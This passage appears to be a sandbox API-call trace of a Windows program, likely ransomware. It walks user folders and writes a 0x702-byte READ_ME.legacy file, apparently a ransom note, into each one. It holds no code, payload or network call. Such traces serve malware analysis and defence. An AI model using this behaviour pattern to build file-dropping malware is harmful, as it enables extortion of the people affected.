(in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0117.359] GetLastError () returned 0x12 [0117.359] SetLastError (dwErrCode=0x12) [0117.359] GetLastError () returned 0x12 [0117.359] SetLastError (dwErrCode=0x12) [0117.359] GetLastError () returned 0x12 [0117.359] SetLastError (dwErrCode=0x12) [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0117.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567058 [0117.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567058 | out: hHeap=0x520000) returned 1 [0117.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0117.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0117.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0117.360] FindNextFileW (in: hFindFile=0x567258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0117.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0117.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0117.360] GetLastError () returned 0x12 [0117.360] SetLastError (dwErrCode=0x12) [0117.360] GetLastError () returned 0x12 [0117.360] SetLastError (dwErrCode=0x12) [0117.360] GetLastError () returned 0x12 [0117.361] SetLastError (dwErrCode=0x12) [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567298 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567298 | out: hHeap=0x520000) returned 1 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.361] FindNextFileW (in: hFindFile=0x567258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0117.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0117.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0117.361] GetLastError () returned 0x12 [0117.362] SetLastError (dwErrCode=0x12) [0117.362] GetLastError () returned 0x12 [0117.362] SetLastError (dwErrCode=0x12) [0117.362] GetLastError () returned 0x12 [0117.362] SetLastError (dwErrCode=0x12) [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0117.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0117.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0117.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5671d8 [0117.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671d8 | out: hHeap=0x520000) returned 1 [0117.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0117.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.363] FindNextFileW (in: hFindFile=0x567258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0117.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0117.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0117.363] GetLastError () returned 0x12 [0117.363] SetLastError (dwErrCode=0x12) [0117.363] GetLastError () returned 0x12 [0117.364] SetLastError (dwErrCode=0x12) [0117.364] GetLastError () returned 0x12 [0117.364] SetLastError (dwErrCode=0x12) [0117.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0117.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0117.364] FindNextFileW (in: hFindFile=0x567258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0117.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0117.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0117.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0117.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0117.364] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Music\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0117.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0117.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0117.365] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0117.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0117.365] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Videos\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0117.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0117.365] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd3064ca9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566e98 [0117.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.366] GetLastError () returned 0x5 [0117.366] SetLastError (dwErrCode=0x5) [0117.366] GetLastError () returned 0x5 [0117.366] SetLastError (dwErrCode=0x5) [0117.366] GetLastError () returned 0x5 [0117.366] SetLastError (dwErrCode=0x5) [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0117.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566ed8 [0117.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ed8 | out: hHeap=0x520000) returned 1 [0117.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0117.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0117.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.367] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd3064ca9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0117.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.367] GetLastError () returned 0x5 [0117.367] SetLastError (dwErrCode=0x5) [0117.367] GetLastError () returned 0x5 [0117.367] SetLastError (dwErrCode=0x5) [0117.367] GetLastError () returned 0x5 [0117.367] SetLastError (dwErrCode=0x5) [0117.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0117.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0117.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0117.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.368] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0117.368] GetLastError () returned 0x5 [0117.368] SetLastError (dwErrCode=0x5) [0117.368] GetLastError () returned 0x5 [0117.368] SetLastError (dwErrCode=0x5) [0117.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0117.368] GetLastError () returned 0x5 [0117.368] SetLastError (dwErrCode=0x5) [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0117.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0117.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0117.369] GetLastError () returned 0x5 [0117.369] SetLastError (dwErrCode=0x5) [0117.369] GetLastError () returned 0x5 [0117.369] SetLastError (dwErrCode=0x5) [0117.369] GetLastError () returned 0x5 [0117.370] SetLastError (dwErrCode=0x5) [0117.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0117.370] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\activesync\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0117.372] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.373] CloseHandle (hObject=0x6a0) returned 1 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0117.373] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0117.373] GetLastError () returned 0x0 [0117.373] SetLastError (dwErrCode=0x0) [0117.373] GetLastError () returned 0x0 [0117.373] SetLastError (dwErrCode=0x0) [0117.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.374] GetLastError () returned 0x0 [0117.374] SetLastError (dwErrCode=0x0) [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0117.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0117.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0117.374] GetLastError () returned 0x0 [0117.374] SetLastError (dwErrCode=0x0) [0117.374] GetLastError () returned 0x0 [0117.374] SetLastError (dwErrCode=0x0) [0117.374] GetLastError () returned 0x0 [0117.374] SetLastError (dwErrCode=0x0) [0117.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0117.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0117.375] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.377] CloseHandle (hObject=0x6a0) returned 1 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0117.377] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0117.377] GetLastError () returned 0x0 [0117.377] SetLastError (dwErrCode=0x0) [0117.377] GetLastError () returned 0x0 [0117.377] SetLastError (dwErrCode=0x0) [0117.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0117.378] GetLastError () returned 0x0 [0117.378] SetLastError (dwErrCode=0x0) [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0117.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0117.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0117.378] GetLastError () returned 0x0 